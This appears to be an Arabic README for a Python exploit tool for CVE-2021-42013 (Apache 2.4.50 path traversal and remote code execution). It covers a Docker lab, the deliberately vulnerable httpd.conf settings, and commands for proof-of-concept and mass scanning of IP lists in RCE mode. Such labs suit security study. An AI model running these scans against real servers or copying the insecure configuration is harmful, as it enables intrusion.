أباتشي 2.4.50 - اجتياز المسار أو تنفيذ التعليمات البرمجية عن بعد

CVE-2021-42013.py هو نص بايثون يساعد في اكتشاف ثغرة اجتياز المسار أو تنفيذ التعليمات البرمجية عن بعد في Apache 2.4.50. تم توفير نسخة ضعيفة من Docker لتجربة عملية على CVE-2021-42013

إذا تم تمكين CGI-BIN، فيمكننا تنفيذ التعليمات البرمجية عن بعد ولكن ليس اجتياز المسار، لذلك تم إضافة دليل "icons" ضمن قسم Alias في ملف httpd.conf لفحص ثغرة اجتياز المسار.

الإعدادات الضعيفة في httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

مختبر لـ CVE-2021-42013

بناء Docker

$ docker build -t cve-2021-42013 .

تشغيل Docker

$ docker run -it cve-2021-42013

استخدام cve-2021-42013.py

التحقق من اجتياز المسار وتنفيذ التعليمات البرمجية عن بعد

$ python3 cve-2021-42013.py -u http://172.17.0.2

إثبات المفهوم لاجتياز المسار

$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt

إثبات المفهوم لتنفيذ التعليمات البرمجية عن بعد

$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce

للمسح الجماعي، قم بتوفير ملف نصي يحتوي على عناوين IP:

$ python3 cve-2021-42013.py -l list.txt

$ python3 cve-2021-42013.py -l list.txt -pt

$ python3 cve-2021-42013.py -l list.txt -rce

يمكن العثور على مزيد من المعلومات هنا.

المراجع

• https://nvd.nist.gov/vuln/detail/CVE-2021-42013
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
• https://www.cve.org/CVERecord?id=CVE-2021-42013
• https://httpd.apache.org/security/vulnerabilities_24.html
• https://walnutsecurity.com/path-traversal-remote-code-execution-in-apache/